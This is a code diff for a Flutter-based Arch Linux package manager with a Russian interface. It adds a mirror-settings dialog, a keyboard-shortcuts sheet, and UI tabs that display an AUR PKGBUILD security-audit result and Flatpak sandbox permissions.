|
import '../../services/admin_service.dart';
|
||||||
import '../../services/doctor_service.dart';
|
import '../../services/doctor_service.dart';
|
||||||
import '../widgets/friendly_term.dart';
|
import '../widgets/friendly_term.dart';
|
||||||
|
import '../widgets/reflector_mirror_dialog.dart';
|
||||||
|
|
||||||
class DoctorScreen extends StatefulWidget {
|
class DoctorScreen extends StatefulWidget {
|
||||||
const DoctorScreen({super.key});
|
const DoctorScreen({super.key});
|
||||||
@@ -684,20 +685,38 @@ class _DoctorScreenState extends State<DoctorScreen> {
|
|||||||
style: const TextStyle(fontSize: 12, color: CupertinoColors.systemGrey, height: 1.3),
|
style: const TextStyle(fontSize: 12, color: CupertinoColors.systemGrey, height: 1.3),
|
||||||
),
|
),
|
||||||
const SizedBox(height: 10),
|
const SizedBox(height: 10),
|
||||||
PushButton(
|
Wrap(
|
||||||
controlSize: ControlSize.small,
|
spacing: 8,
|
||||||
secondary: true,
|
runSpacing: 6,
|
||||||
onPressed: _isActionRunning
|
children: [
|
||||||
? null
|
PushButton(
|
||||||
: () => _executeAction('Оптимизация зеркал через Reflector', (pwd) => DoctorService.optimizeMirrors(password: pwd)),
|
controlSize: ControlSize.small,
|
||||||
child: const Row(
|
onPressed: () => ReflectorMirrorDialog.show(context),
|
||||||
mainAxisSize: MainAxisSize.min,
|
child: const Row(
|
||||||
children: [
|
mainAxisSize: MainAxisSize.min,
|
||||||
MacosIcon(CupertinoIcons.bolt_fill, size: 12, color: Color(0xFFFF9500)),
|
children: [
|
||||||
SizedBox(width: 5),
|
MacosIcon(CupertinoIcons.slider_horizontal_3, size: 12),
|
||||||
Text('Выбрать 10 быстрейших зеркал (Reflector)'),
|
SizedBox(width: 5),
|
||||||
],
|
Text('Настроить зеркала (GUI)'),
|
||||||
),
|
],
|
||||||
|
),
|
||||||
|
),
|
||||||
|
PushButton(
|
||||||
|
controlSize: ControlSize.small,
|
||||||
|
secondary: true,
|
||||||
|
onPressed: _isActionRunning
|
||||||
|
? null
|
||||||
|
: () => _executeAction('Оптимизация зеркал через Reflector', (pwd) => DoctorService.optimizeMirrors(password: pwd)),
|
||||||
|
child: const Row(
|
||||||
|
mainAxisSize: MainAxisSize.min,
|
||||||
|
children: [
|
||||||
|
MacosIcon(CupertinoIcons.bolt_fill, size: 12, color: Color(0xFFFF9500)),
|
||||||
|
SizedBox(width: 5),
|
||||||
|
Text('Авто-выбор топ-10'),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
),
|
||||||
|
],
|
||||||
),
|
),
|
||||||
],
|
],
|
||||||
),
|
),
|
||||||
|
|||||||
@@ -5,6 +5,8 @@ import '../../services/admin_service.dart';
|
|||||||
import '../../services/app_settings_service.dart';
|
import '../../services/app_settings_service.dart';
|
||||||
import '../../services/snapshot_service.dart';
|
import '../../services/snapshot_service.dart';
|
||||||
import '../widgets/friendly_term.dart';
|
import '../widgets/friendly_term.dart';
|
||||||
|
import '../widgets/keyboard_shortcuts_dialog.dart';
|
||||||
|
import '../widgets/reflector_mirror_dialog.dart';
|
||||||
|
|
||||||
class SettingsScreen extends StatefulWidget {
|
class SettingsScreen extends StatefulWidget {
|
||||||
const SettingsScreen({super.key});
|
const SettingsScreen({super.key});
|
||||||
@@ -425,6 +427,118 @@ class _SettingsScreenState extends State<SettingsScreen> {
|
|||||||
],
|
],
|
||||||
),
|
),
|
||||||
),
|
),
|
||||||
|
|
||||||
|
const SizedBox(height: 24),
|
||||||
|
|
||||||
|
// Group 4: Mirrors & Reflector
|
||||||
|
_buildSectionHeader('ЗЕРКАЛА РЕПОЗИТОРИЕВ ARCH LINUX'),
|
||||||
|
const SizedBox(height: 8),
|
||||||
|
Container(
|
||||||
|
padding: const EdgeInsets.all(16),
|
||||||
|
decoration: BoxDecoration(
|
||||||
|
color: macosTheme.canvasColor,
|
||||||
|
borderRadius: BorderRadius.circular(10),
|
||||||
|
border: Border.all(
|
||||||
|
color: macosTheme.dividerColor,
|
||||||
|
width: 0.8,
|
||||||
|
),
|
||||||
|
),
|
||||||
|
child: Row(
|
||||||
|
children: [
|
||||||
|
const Expanded(
|
||||||
|
child: Column(
|
||||||
|
crossAxisAlignment: CrossAxisAlignment.start,
|
||||||
|
children: [
|
||||||
|
Text(
|
||||||
|
'Оптимизация зеркал через Reflector',
|
||||||
|
style: TextStyle(
|
||||||
|
fontWeight: FontWeight.w600,
|
||||||
|
fontSize: 13.5,
|
||||||
|
),
|
||||||
|
),
|
||||||
|
SizedBox(height: 2),
|
||||||
|
Text(
|
||||||
|
'Тестирование скорости зеркал по странам и обновление /etc/pacman.d/mirrorlist',
|
||||||
|
style: TextStyle(
|
||||||
|
fontSize: 12,
|
||||||
|
color: CupertinoColors.systemGrey,
|
||||||
|
),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
),
|
||||||
|
PushButton(
|
||||||
|
controlSize: ControlSize.regular,
|
||||||
|
secondary: true,
|
||||||
|
onPressed: () => ReflectorMirrorDialog.show(context),
|
||||||
|
child: const Row(
|
||||||
|
mainAxisSize: MainAxisSize.min,
|
||||||
|
children: [
|
||||||
|
MacosIcon(CupertinoIcons.speedometer, size: 14),
|
||||||
|
SizedBox(width: 6),
|
||||||
|
Text('Настроить зеркала'),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
),
|
||||||
|
|
||||||
|
const SizedBox(height: 24),
|
||||||
|
|
||||||
|
// Group 5: Keyboard Shortcuts
|
||||||
|
_buildSectionHeader('УПРАВЛЕНИЕ И ГОРЯЧИЕ КЛАВИШИ'),
|
||||||
|
const SizedBox(height: 8),
|
||||||
|
Container(
|
||||||
|
padding: const EdgeInsets.all(16),
|
||||||
|
decoration: BoxDecoration(
|
||||||
|
color: macosTheme.canvasColor,
|
||||||
|
borderRadius: BorderRadius.circular(10),
|
||||||
|
border: Border.all(
|
||||||
|
color: macosTheme.dividerColor,
|
||||||
|
width: 0.8,
|
||||||
|
),
|
||||||
|
),
|
||||||
|
child: Row(
|
||||||
|
children: [
|
||||||
|
const Expanded(
|
||||||
|
child: Column(
|
||||||
|
crossAxisAlignment: CrossAxisAlignment.start,
|
||||||
|
children: [
|
||||||
|
Text(
|
||||||
|
'Шпаргалка горячих клавиш (Shortcuts)',
|
||||||
|
style: TextStyle(
|
||||||
|
fontWeight: FontWeight.w600,
|
||||||
|
fontSize: 13.5,
|
||||||
|
),
|
||||||
|
),
|
||||||
|
SizedBox(height: 2),
|
||||||
|
Text(
|
||||||
|
'Быстрый поиск, смена экранов (Ctrl+1..7), F1 и навигация',
|
||||||
|
style: TextStyle(
|
||||||
|
fontSize: 12,
|
||||||
|
color: CupertinoColors.systemGrey,
|
||||||
|
),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
),
|
||||||
|
PushButton(
|
||||||
|
controlSize: ControlSize.regular,
|
||||||
|
secondary: true,
|
||||||
|
onPressed: () => KeyboardShortcutsDialog.show(context),
|
||||||
|
child: const Row(
|
||||||
|
mainAxisSize: MainAxisSize.min,
|
||||||
|
children: [
|
||||||
|
MacosIcon(CupertinoIcons.keyboard, size: 14),
|
||||||
|
SizedBox(width: 6),
|
||||||
|
Text('Показать хоткеи'),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
),
|
||||||
],
|
],
|
||||||
);
|
);
|
||||||
},
|
},
|
||||||
|
|||||||
@@ -0,0 +1,193 @@
|
|||||||
|
import 'package:flutter/cupertino.dart';
|
||||||
|
import 'package:flutter/material.dart' show Divider;
|
||||||
|
import 'package:macos_ui/macos_ui.dart';
|
||||||
|
|
||||||
|
class KeyboardShortcutsDialog extends StatelessWidget {
|
||||||
|
const KeyboardShortcutsDialog({super.key});
|
||||||
|
|
||||||
|
static Future<void> show(BuildContext context) {
|
||||||
|
return showMacosSheet(
|
||||||
|
context: context,
|
||||||
|
barrierDismissible: true,
|
||||||
|
builder: (context) => const KeyboardShortcutsDialog(),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@override
|
||||||
|
Widget build(BuildContext context) {
|
||||||
|
final theme = MacosTheme.of(context);
|
||||||
|
|
||||||
|
final shortcuts = [
|
||||||
|
(
|
||||||
|
keys: ['Ctrl', 'K'],
|
||||||
|
action: 'Быстрый поиск приложений (Spotlight)',
|
||||||
|
category: 'Навигация',
|
||||||
|
),
|
||||||
|
(
|
||||||
|
keys: ['Ctrl', '1…7'],
|
||||||
|
action: 'Быстрый переход между экранами (Каталог, Установленные и др.)',
|
||||||
|
category: 'Навигация',
|
||||||
|
),
|
||||||
|
(
|
||||||
|
keys: ['Ctrl', '/'],
|
||||||
|
action: 'Шпаргалка горячих клавиш (это окно)',
|
||||||
|
category: 'Помощь',
|
||||||
|
),
|
||||||
|
(
|
||||||
|
keys: ['F1'],
|
||||||
|
action: 'Справка и горячие клавиши',
|
||||||
|
category: 'Помощь',
|
||||||
|
),
|
||||||
|
(
|
||||||
|
keys: ['Esc'],
|
||||||
|
action: 'Закрыть модальное окно / отменить действие',
|
||||||
|
category: 'Общее',
|
||||||
|
),
|
||||||
|
];
|
||||||
|
|
||||||
|
return Center(
|
||||||
|
child: Container(
|
||||||
|
width: 520,
|
||||||
|
decoration: BoxDecoration(
|
||||||
|
color: theme.canvasColor,
|
||||||
|
borderRadius: BorderRadius.circular(16),
|
||||||
|
border: Border.all(color: CupertinoColors.white.withValues(alpha: 0.12)),
|
||||||
|
boxShadow: [
|
||||||
|
BoxShadow(
|
||||||
|
color: CupertinoColors.black.withValues(alpha: 0.45),
|
||||||
|
blurRadius: 28,
|
||||||
|
offset: const Offset(0, 10),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
child: Column(
|
||||||
|
mainAxisSize: MainAxisSize.min,
|
||||||
|
children: [
|
||||||
|
// Шапка
|
||||||
|
Padding(
|
||||||
|
padding: const EdgeInsets.fromLTRB(20, 18, 20, 14),
|
||||||
|
child: Row(
|
||||||
|
children: [
|
||||||
|
Container(
|
||||||
|
width: 36,
|
||||||
|
height: 36,
|
||||||
|
decoration: BoxDecoration(
|
||||||
|
color: const Color(0xFF34C759).withValues(alpha: 0.15),
|
||||||
|
borderRadius: BorderRadius.circular(10),
|
||||||
|
),
|
||||||
|
child: const Center(
|
||||||
|
child: MacosIcon(
|
||||||
|
CupertinoIcons.keyboard,
|
||||||
|
color: Color(0xFF34C759),
|
||||||
|
size: 20,
|
||||||
|
),
|
||||||
|
),
|
||||||
|
),
|
||||||
|
const SizedBox(width: 12),
|
||||||
|
const Expanded(
|
||||||
|
child: Column(
|
||||||
|
crossAxisAlignment: CrossAxisAlignment.start,
|
||||||
|
children: [
|
||||||
|
Text(
|
||||||
|
'Горячие клавиши Forge',
|
||||||
|
style: TextStyle(
|
||||||
|
fontSize: 16,
|
||||||
|
fontWeight: FontWeight.bold,
|
||||||
|
),
|
||||||
|
),
|
||||||
|
SizedBox(height: 2),
|
||||||
|
Text(
|
||||||
|
'Удобное управление менеджером пакетов с клавиатуры',
|
||||||
|
style: TextStyle(
|
||||||
|
fontSize: 12,
|
||||||
|
color: CupertinoColors.systemGrey,
|
||||||
|
),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
),
|
||||||
|
MacosIconButton(
|
||||||
|
icon: const MacosIcon(CupertinoIcons.xmark, size: 16),
|
||||||
|
onPressed: () => Navigator.of(context).pop(),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
),
|
||||||
|
|
||||||
|
const Divider(height: 1, color: CupertinoColors.separator),
|
||||||
|
|
||||||
|
// Список шорткатов
|
||||||
|
Padding(
|
||||||
|
padding: const EdgeInsets.all(20),
|
||||||
|
child: Column(
|
||||||
|
children: shortcuts.map((item) {
|
||||||
|
return Padding(
|
||||||
|
padding: const EdgeInsets.only(bottom: 12),
|
||||||
|
child: Row(
|
||||||
|
children: [
|
||||||
|
Row(
|
||||||
|
children: item.keys.map((k) {
|
||||||
|
return Container(
|
||||||
|
margin: const EdgeInsets.only(right: 4),
|
||||||
|
padding: const EdgeInsets.symmetric(horizontal: 8, vertical: 4),
|
||||||
|
decoration: BoxDecoration(
|
||||||
|
color: theme.dividerColor.withValues(alpha: 0.15),
|
||||||
|
borderRadius: BorderRadius.circular(6),
|
||||||
|
border: Border.all(
|
||||||
|
color: CupertinoColors.white.withValues(alpha: 0.2),
|
||||||
|
),
|
||||||
|
boxShadow: [
|
||||||
|
BoxShadow(
|
||||||
|
color: CupertinoColors.black.withValues(alpha: 0.2),
|
||||||
|
blurRadius: 2,
|
||||||
|
offset: const Offset(0, 1),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
child: Text(
|
||||||
|
k,
|
||||||
|
style: const TextStyle(
|
||||||
|
fontSize: 12,
|
||||||
|
fontWeight: FontWeight.bold,
|
||||||
|
fontFamily: 'monospace',
|
||||||
|
),
|
||||||
|
),
|
||||||
|
);
|
||||||
|
}).toList(),
|
||||||
|
),
|
||||||
|
const SizedBox(width: 14),
|
||||||
|
Expanded(
|
||||||
|
child: Text(
|
||||||
|
item.action,
|
||||||
|
style: const TextStyle(fontSize: 13),
|
||||||
|
),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
);
|
||||||
|
}).toList(),
|
||||||
|
),
|
||||||
|
),
|
||||||
|
|
||||||
|
const Divider(height: 1, color: CupertinoColors.separator),
|
||||||
|
|
||||||
|
Padding(
|
||||||
|
padding: const EdgeInsets.all(14),
|
||||||
|
child: Row(
|
||||||
|
mainAxisAlignment: MainAxisAlignment.end,
|
||||||
|
children: [
|
||||||
|
PushButton(
|
||||||
|
controlSize: ControlSize.regular,
|
||||||
|
secondary: true,
|
||||||
|
onPressed: () => Navigator.of(context).pop(),
|
||||||
|
child: const Text('Понятно'),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,11 +1,14 @@
|
|||||||
import 'dart:io';
|
import 'dart:io';
|
||||||
import 'package:flutter/cupertino.dart';
|
import 'package:flutter/cupertino.dart';
|
||||||
|
import 'package:flutter/material.dart' show SelectableText;
|
||||||
import 'package:flutter/services.dart';
|
import 'package:flutter/services.dart';
|
||||||
import 'package:macos_ui/macos_ui.dart';
|
import 'package:macos_ui/macos_ui.dart';
|
||||||
import 'package:url_launcher/url_launcher.dart';
|
import 'package:url_launcher/url_launcher.dart';
|
||||||
import '../../rust/api/packages.dart';
|
import '../../rust/api/packages.dart';
|
||||||
import '../../rust/frb_generated.dart';
|
import '../../rust/frb_generated.dart';
|
||||||
import '../../services/admin_service.dart';
|
import '../../services/admin_service.dart';
|
||||||
|
import '../../services/aur_pkgbuild_service.dart';
|
||||||
|
import '../../services/flatpak_permissions_service.dart';
|
||||||
|
|
||||||
/// Модальное адаптивное окно просмотра свойств пакета («поверх окна каталога»)
|
/// Модальное адаптивное окно просмотра свойств пакета («поверх окна каталога»)
|
||||||
class PackageInspectorSheet extends StatefulWidget {
|
class PackageInspectorSheet extends StatefulWidget {
|
||||||
@@ -51,6 +54,15 @@ class _PackageInspectorSheetState extends State<PackageInspectorSheet> {
|
|||||||
int _selectedTab = 0; // 0: Обзор, 1: Зависимости, 2: Файлы, 3: Откат
|
int _selectedTab = 0; // 0: Обзор, 1: Зависимости, 2: Файлы, 3: Откат
|
||||||
String _fileSearchFilter = '';
|
String _fileSearchFilter = '';
|
||||||
|
|
||||||
|
// AUR PKGBUILD & Audit
|
||||||
|
String? _pkgbuildContent;
|
||||||
|
PkgbuildAuditResult? _pkgbuildAudit;
|
||||||
|
bool _isLoadingPkgbuild = false;
|
||||||
|
|
||||||
|
// Flatpak Permissions
|
||||||
|
FlatpakAppPermissions? _flatpakPermissions;
|
||||||
|
bool _isLoadingFlatpakPerms = false;
|
||||||
|
|
||||||
@override
|
@override
|
||||||
void initState() {
|
void initState() {
|
||||||
super.initState();
|
super.initState();
|
||||||
@@ -59,6 +71,61 @@ class _PackageInspectorSheetState extends State<PackageInspectorSheet> {
|
|||||||
_loadDetails();
|
_loadDetails();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Future<void> _loadPkgbuild() async {
|
||||||
|
setState(() {
|
||||||
|
_isLoadingPkgbuild = true;
|
||||||
|
_pkgbuildContent = null;
|
||||||
|
_pkgbuildAudit = null;
|
||||||
|
});
|
||||||
|
|
||||||
|
try {
|
||||||
|
final text = await AurPkgbuildService.fetchPkgbuild(_currentPackageName);
|
||||||
|
if (text != null) {
|
||||||
|
final audit = AurPkgbuildService.audit(text);
|
||||||
|
if (mounted) {
|
||||||
|
setState(() {
|
||||||
|
_pkgbuildContent = text;
|
||||||
|
_pkgbuildAudit = audit;
|
||||||
|
_isLoadingPkgbuild = false;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if (mounted) setState(() => _isLoadingPkgbuild = false);
|
||||||
|
}
|
||||||
|
} catch (_) {
|
||||||
|
if (mounted) setState(() => _isLoadingPkgbuild = false);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Future<void> _loadFlatpakPerms() async {
|
||||||
|
setState(() => _isLoadingFlatpakPerms = true);
|
||||||
|
try {
|
||||||
|
final perms = await FlatpakPermissionsService.getPermissions(_currentPackageName);
|
||||||
|
if (mounted) {
|
||||||
|
setState(() {
|
||||||
|
_flatpakPermissions = perms;
|
||||||
|
_isLoadingFlatpakPerms = false;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
} catch (_) {
|
||||||
|
if (mounted) setState(() => _isLoadingFlatpakPerms = false);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Future<void> _toggleFlatpakPermission(FlatpakPermissionType type, bool val) async {
|
||||||
|
final success = await FlatpakPermissionsService.setPermission(_currentPackageName, type, val);
|
||||||
|
if (success) {
|
||||||
|
await _loadFlatpakPerms();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Future<void> _resetFlatpakPermissions() async {
|
||||||
|
final success = await FlatpakPermissionsService.resetPermissions(_currentPackageName);
|
||||||
|
if (success) {
|
||||||
|
await _loadFlatpakPerms();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
Future<void> _loadDetails() async {
|
Future<void> _loadDetails() async {
|
||||||
setState(() {
|
setState(() {
|
||||||
_isLoading = true;
|
_isLoading = true;
|
||||||
@@ -98,6 +165,12 @@ class _PackageInspectorSheetState extends State<PackageInspectorSheet> {
|
|||||||
_packageFiles = files;
|
_packageFiles = files;
|
||||||
_isLoading = false;
|
_isLoading = false;
|
||||||
});
|
});
|
||||||
|
|
||||||
|
if (_currentBackend == BackendType.aur) {
|
||||||
|
_loadPkgbuild();
|
||||||
|
} else if (_currentBackend == BackendType.flatpak) {
|
||||||
|
_loadFlatpakPerms();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
} catch (_) {
|
} catch (_) {
|
||||||
if (mounted) {
|
if (mounted) {
|
||||||
@@ -111,6 +184,7 @@ class _PackageInspectorSheetState extends State<PackageInspectorSheet> {
|
|||||||
_history.add((name: _currentPackageName, backend: _currentBackend));
|
_history.add((name: _currentPackageName, backend: _currentBackend));
|
||||||
_currentPackageName = name;
|
_currentPackageName = name;
|
||||||
_currentBackend = backend;
|
_currentBackend = backend;
|
||||||
|
_selectedTab = 0;
|
||||||
});
|
});
|
||||||
_loadDetails();
|
_loadDetails();
|
||||||
}
|
}
|
||||||
@@ -503,6 +577,10 @@ class _PackageInspectorSheetState extends State<PackageInspectorSheet> {
|
|||||||
'Файлы (${_packageFiles.length})',
|
'Файлы (${_packageFiles.length})',
|
||||||
if (_currentBackend == BackendType.pacman && _cachedVersions.isNotEmpty)
|
if (_currentBackend == BackendType.pacman && _cachedVersions.isNotEmpty)
|
||||||
'Откат кэша (${_cachedVersions.length})',
|
'Откат кэша (${_cachedVersions.length})',
|
||||||
|
if (_currentBackend == BackendType.aur)
|
||||||
|
'PKGBUILD & Аудит',
|
||||||
|
if (_currentBackend == BackendType.flatpak)
|
||||||
|
'Разрешения Sandbox',
|
||||||
];
|
];
|
||||||
|
|
||||||
return Column(
|
return Column(
|
||||||
@@ -578,6 +656,10 @@ class _PackageInspectorSheetState extends State<PackageInspectorSheet> {
|
|||||||
_buildFilesTab(theme, d),
|
_buildFilesTab(theme, d),
|
||||||
if (_currentBackend == BackendType.pacman && _cachedVersions.isNotEmpty)
|
if (_currentBackend == BackendType.pacman && _cachedVersions.isNotEmpty)
|
||||||
_buildDowngradeTab(theme, d),
|
_buildDowngradeTab(theme, d),
|
||||||
|
if (_currentBackend == BackendType.aur)
|
||||||
|
_buildPkgbuildTab(theme),
|
||||||
|
if (_currentBackend == BackendType.flatpak)
|
||||||
|
_buildFlatpakPermissionsTab(theme),
|
||||||
],
|
],
|
||||||
),
|
),
|
||||||
),
|
),
|
||||||
@@ -890,6 +972,479 @@ class _PackageInspectorSheetState extends State<PackageInspectorSheet> {
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Widget _buildPkgbuildTab(MacosThemeData theme) {
|
||||||
|
if (_isLoadingPkgbuild) {
|
||||||
|
return const Center(
|
||||||
|
child: Column(
|
||||||
|
mainAxisSize: MainAxisSize.min,
|
||||||
|
children: [
|
||||||
|
ProgressCircle(radius: 14),
|
||||||
|
SizedBox(height: 12),
|
||||||
|
Text(
|
||||||
|
'Загрузка и аудит PKGBUILD из AUR...',
|
||||||
|
style: TextStyle(color: CupertinoColors.systemGrey, fontSize: 13),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_pkgbuildContent == null) {
|
||||||
|
return Center(
|
||||||
|
child: Column(
|
||||||
|
mainAxisSize: MainAxisSize.min,
|
||||||
|
children: [
|
||||||
|
const MacosIcon(CupertinoIcons.exclamationmark_triangle, size: 36, color: CupertinoColors.systemOrange),
|
||||||
|
const SizedBox(height: 10),
|
||||||
|
Text('Не удалось получить PKGBUILD для $_currentPackageName'),
|
||||||
|
const SizedBox(height: 14),
|
||||||
|
PushButton(
|
||||||
|
controlSize: ControlSize.regular,
|
||||||
|
secondary: true,
|
||||||
|
onPressed: _loadPkgbuild,
|
||||||
|
child: const Text('Повторить попытку'),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
final audit = _pkgbuildAudit;
|
||||||
|
final lines = _pkgbuildContent!.split('\n');
|
||||||
|
|
||||||
|
Color bannerBg;
|
||||||
|
Color bannerBorder;
|
||||||
|
Color iconColor;
|
||||||
|
IconData bannerIcon;
|
||||||
|
String statusTitle;
|
||||||
|
|
||||||
|
if (audit == null || audit.isSafe) {
|
||||||
|
bannerBg = CupertinoColors.systemGreen.withValues(alpha: 0.12);
|
||||||
|
bannerBorder = CupertinoColors.systemGreen.withValues(alpha: 0.35);
|
||||||
|
iconColor = CupertinoColors.systemGreen;
|
||||||
|
bannerIcon = CupertinoIcons.checkmark_shield_fill;
|
||||||
|
statusTitle = 'Аудит безопасности: БЕЗОПАСНО';
|
||||||
|
} else if (audit.hasDanger) {
|
||||||
|
bannerBg = CupertinoColors.systemRed.withValues(alpha: 0.12);
|
||||||
|
bannerBorder = CupertinoColors.systemRed.withValues(alpha: 0.35);
|
||||||
|
iconColor = CupertinoColors.systemRed;
|
||||||
|
bannerIcon = CupertinoIcons.exclamationmark_shield_fill;
|
||||||
|
statusTitle = 'Аудит безопасности: ОПАСНО!';
|
||||||
|
} else {
|
||||||
|
bannerBg = CupertinoColors.systemOrange.withValues(alpha: 0.12);
|
||||||
|
bannerBorder = CupertinoColors.systemOrange.withValues(alpha: 0.35);
|
||||||
|
iconColor = CupertinoColors.systemOrange;
|
||||||
|
bannerIcon = CupertinoIcons.shield_lefthalf_fill;
|
||||||
|
statusTitle = 'Аудит безопасности: ПРЕДУПРЕЖДЕНИЕ';
|
||||||
|
}
|
||||||
|
|
||||||
|
// Собираем строки с проблемами в карту
|
||||||
|
final issueMap = <int, SecurityIssue>{};
|
||||||
|
if (audit != null) {
|
||||||
|
for (final issue in audit.issues) {
|
||||||
|
issueMap[issue.lineNumber] = issue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return ListView(
|
||||||
|
padding: const EdgeInsets.all(22),
|
||||||
|
children: [
|
||||||
|
// Карточка статуса аудита
|
||||||
|
Container(
|
||||||
|
padding: const EdgeInsets.all(14),
|
||||||
|
decoration: BoxDecoration(
|
||||||
|
color: bannerBg,
|
||||||
|
borderRadius: BorderRadius.circular(10),
|
||||||
|
border: Border.all(color: bannerBorder),
|
||||||
|
),
|
||||||
|
child: Column(
|
||||||
|
crossAxisAlignment: CrossAxisAlignment.start,
|
||||||
|
children: [
|
||||||
|
Row(
|
||||||
|
children: [
|
||||||
|
MacosIcon(bannerIcon, color: iconColor, size: 22),
|
||||||
|
const SizedBox(width: 10),
|
||||||
|
Text(
|
||||||
|
statusTitle,
|
||||||
|
style: TextStyle(
|
||||||
|
fontWeight: FontWeight.bold,
|
||||||
|
fontSize: 14,
|
||||||
|
color: iconColor,
|
||||||
|
),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
const SizedBox(height: 6),
|
||||||
|
Text(
|
||||||
|
audit?.summary ?? '',
|
||||||
|
style: const TextStyle(fontSize: 12.5, height: 1.35),
|
||||||
|
),
|
||||||
|
if (audit != null && audit.issues.isNotEmpty) ...[
|
||||||
|
const SizedBox(height: 10),
|
||||||
|
...audit.issues.map((iss) => Padding(
|
||||||
|
padding: const EdgeInsets.only(top: 4),
|
||||||
|
child: Row(
|
||||||
|
crossAxisAlignment: CrossAxisAlignment.start,
|
||||||
|
children: [
|
||||||
|
Text(
|
||||||
|
'Строка ${iss.lineNumber}: ',
|
||||||
|
style: TextStyle(
|
||||||
|
fontWeight: FontWeight.bold,
|
||||||
|
fontSize: 12,
|
||||||
|
color: iss.severity == SecuritySeverity.danger
|
||||||
|
? CupertinoColors.systemRed
|
||||||
|
: CupertinoColors.systemOrange,
|
||||||
|
),
|
||||||
|
),
|
||||||
|
Expanded(
|
||||||
|
child: Text(
|
||||||
|
iss.description,
|
||||||
|
style: const TextStyle(fontSize: 12),
|
||||||
|
),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
)),
|
||||||
|
],
|
||||||
|
],
|
||||||
|
),
|
||||||
|
),
|
||||||
|
|
||||||
|
const SizedBox(height: 16),
|
||||||
|
|
||||||
|
// Панель действий с кодом
|
||||||
|
Row(
|
||||||
|
children: [
|
||||||
|
_buildSectionHeader('КОД PKGBUILD (${lines.length} СТРОК)'),
|
||||||
|
const Spacer(),
|
||||||
|
MacosTooltip(
|
||||||
|
message: 'Скопировать весь скрипт сборки в буфер',
|
||||||
|
child: PushButton(
|
||||||
|
controlSize: ControlSize.small,
|
||||||
|
secondary: true,
|
||||||
|
onPressed: () {
|
||||||
|
Clipboard.setData(ClipboardData(text: _pkgbuildContent!));
|
||||||
|
},
|
||||||
|
child: const Row(
|
||||||
|
mainAxisSize: MainAxisSize.min,
|
||||||
|
children: [
|
||||||
|
MacosIcon(CupertinoIcons.doc_on_clipboard, size: 12),
|
||||||
|
SizedBox(width: 4),
|
||||||
|
Text('Скопировать'),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
),
|
||||||
|
),
|
||||||
|
const SizedBox(width: 8),
|
||||||
|
MacosTooltip(
|
||||||
|
message: 'Обновить и перепроверить PKGBUILD',
|
||||||
|
child: MacosIconButton(
|
||||||
|
icon: const MacosIcon(CupertinoIcons.arrow_clockwise, size: 14),
|
||||||
|
onPressed: _loadPkgbuild,
|
||||||
|
),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
|
||||||
|
const SizedBox(height: 10),
|
||||||
|
|
||||||
|
// Контейнер кода PKGBUILD
|
||||||
|
Container(
|
||||||
|
decoration: BoxDecoration(
|
||||||
|
color: CupertinoColors.black.withValues(alpha: 0.65),
|
||||||
|
borderRadius: BorderRadius.circular(8),
|
||||||
|
border: Border.all(color: CupertinoColors.white.withValues(alpha: 0.1)),
|
||||||
|
),
|
||||||
|
child: SingleChildScrollView(
|
||||||
|
scrollDirection: Axis.horizontal,
|
||||||
|
child: Padding(
|
||||||
|
padding: const EdgeInsets.all(12),
|
||||||
|
child: Column(
|
||||||
|
crossAxisAlignment: CrossAxisAlignment.start,
|
||||||
|
children: List.generate(lines.length, (idx) {
|
||||||
|
final lineNum = idx + 1;
|
||||||
|
final lineText = lines[idx];
|
||||||
|
final issue = issueMap[lineNum];
|
||||||
|
|
||||||
|
return Container(
|
||||||
|
padding: const EdgeInsets.symmetric(vertical: 1),
|
||||||
|
color: issue != null
|
||||||
|
? (issue.severity == SecuritySeverity.danger
|
||||||
|
? CupertinoColors.systemRed
|
||||||
|
: CupertinoColors.systemOrange)
|
||||||
|
.withValues(alpha: 0.25)
|
||||||
|
: CupertinoColors.transparent,
|
||||||
|
child: Row(
|
||||||
|
crossAxisAlignment: CrossAxisAlignment.start,
|
||||||
|
children: [
|
||||||
|
SizedBox(
|
||||||
|
width: 38,
|
||||||
|
child: Text(
|
||||||
|
'$lineNum',
|
||||||
|
style: TextStyle(
|
||||||
|
fontFamily: 'monospace',
|
||||||
|
fontSize: 11.5,
|
||||||
|
color: issue != null ? CupertinoColors.white : CupertinoColors.systemGrey,
|
||||||
|
),
|
||||||
|
),
|
||||||
|
),
|
||||||
|
SelectableText(
|
||||||
|
lineText,
|
